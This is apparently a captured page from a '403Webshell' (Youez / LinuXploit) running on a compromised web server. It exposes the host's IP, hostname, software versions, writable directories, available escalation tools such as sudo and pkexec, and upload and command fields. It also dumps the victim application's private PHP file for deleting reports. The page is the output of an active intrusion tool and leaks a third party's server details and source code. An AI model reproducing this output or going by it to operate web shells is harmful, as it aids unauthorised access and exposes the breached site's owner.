403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/e-ims/file_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/e-ims/file_manager/delete_report.php
<?php
include 'config.php';

// Check if the user is logged in

if ((!isSet($_SESSION['loginname'])) || ($loggin <> '1'))
{
header("Location: login.php");
exit;
}
require("configure.php"); 

$index			= $_POST["index"];
$nowdate 		= date("Y-m-d H:i:s");
//print_r($_POST); 
//exit;

$reportid		= $_POST["reportid"];
if (is_array($reportid)){
	foreach ($reportid as $x => $v)	{
		$treportid = $reportid[$x];
		//Soft Delete Report DB
		$sql = "update report_content set status='0', deleted='1', lastupby=:lastupby, lastupdate=:lastupdate where reportid=:reportid";
		$sql_param = array();
		$sql_param[':lastupby'] = $_SESSION['loginid'];
		$sql_param[':lastupdate'] = $nowdate;
		$sql_param[':reportid'] = $treportid;
		$sth = Db::getDbh()->prepare($sql);
		$sth->execute($sql_param);
		if( $error = $sth->getError($sql_param) ){
			var_dump($error);
		}
		//Move File to delete folder
		$sql = "select * from file_content Where refid=:refid";
		$sth = Db::getDbh()->prepare($sql);
		$sth->execute(array(":refid" => $treportid));
		if( $error = $sth->getError(array(":refid" => $treportid)) ){
			var_dump($error);
		}
		$row = $sth->fetch(PDO::FETCH_ASSOC);
		if($row{'filename'}){
			$source_path = "../file_manager/file/".$row{'filename'};
			$move_check = rename($source_path,"../file_manager/deleted_file/".date("Y-m-d_H-i-s")."_".$row{'filename'});
			if ($move_check === false){
				if (file_exists($source_path)) {
					//die ("Could not Move the file to the path");
				}
			}
		}
		//Soft Delete File DB
		$sql = "update file_content set status='0', deleted='1', lastupby=:lastupby, lastupdate=:lastupdate where fileid=:fileid";
		$sql_param = array();
		$sql_param[':lastupby'] = $_SESSION['loginid'];
		$sql_param[':lastupdate'] = $nowdate;
		$sql_param[':fileid'] = $row{'fileid'};
		$sth = Db::getDbh()->prepare($sql);
		$sth->execute($sql_param);
		if( $error = $sth->getError($sql_param) ){
			var_dump($error);
		}
		//Update File Sort
		$sql = "update file_content set sort = sort-1 WHERE sort >=:sort AND folderid=:folderid";
		$sql_param = array();
		$sql_param[':sort'] = $row{'sort'};
		$sql_param[':folderid'] = $parentid;
		$sth = Db::getDbh()->prepare($sql);
		$sth->execute($sql_param);
		if( $error = $sth->getError($sql_param) ){
			var_dump($error);
		}
	}
}

if(!is_array($reportid)){
	echo"<script language='javascript'>
		alert('Please Select A Report.');
		history.back();
		</script>";
		exit;
}


header("Location: index.php?index=$index");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit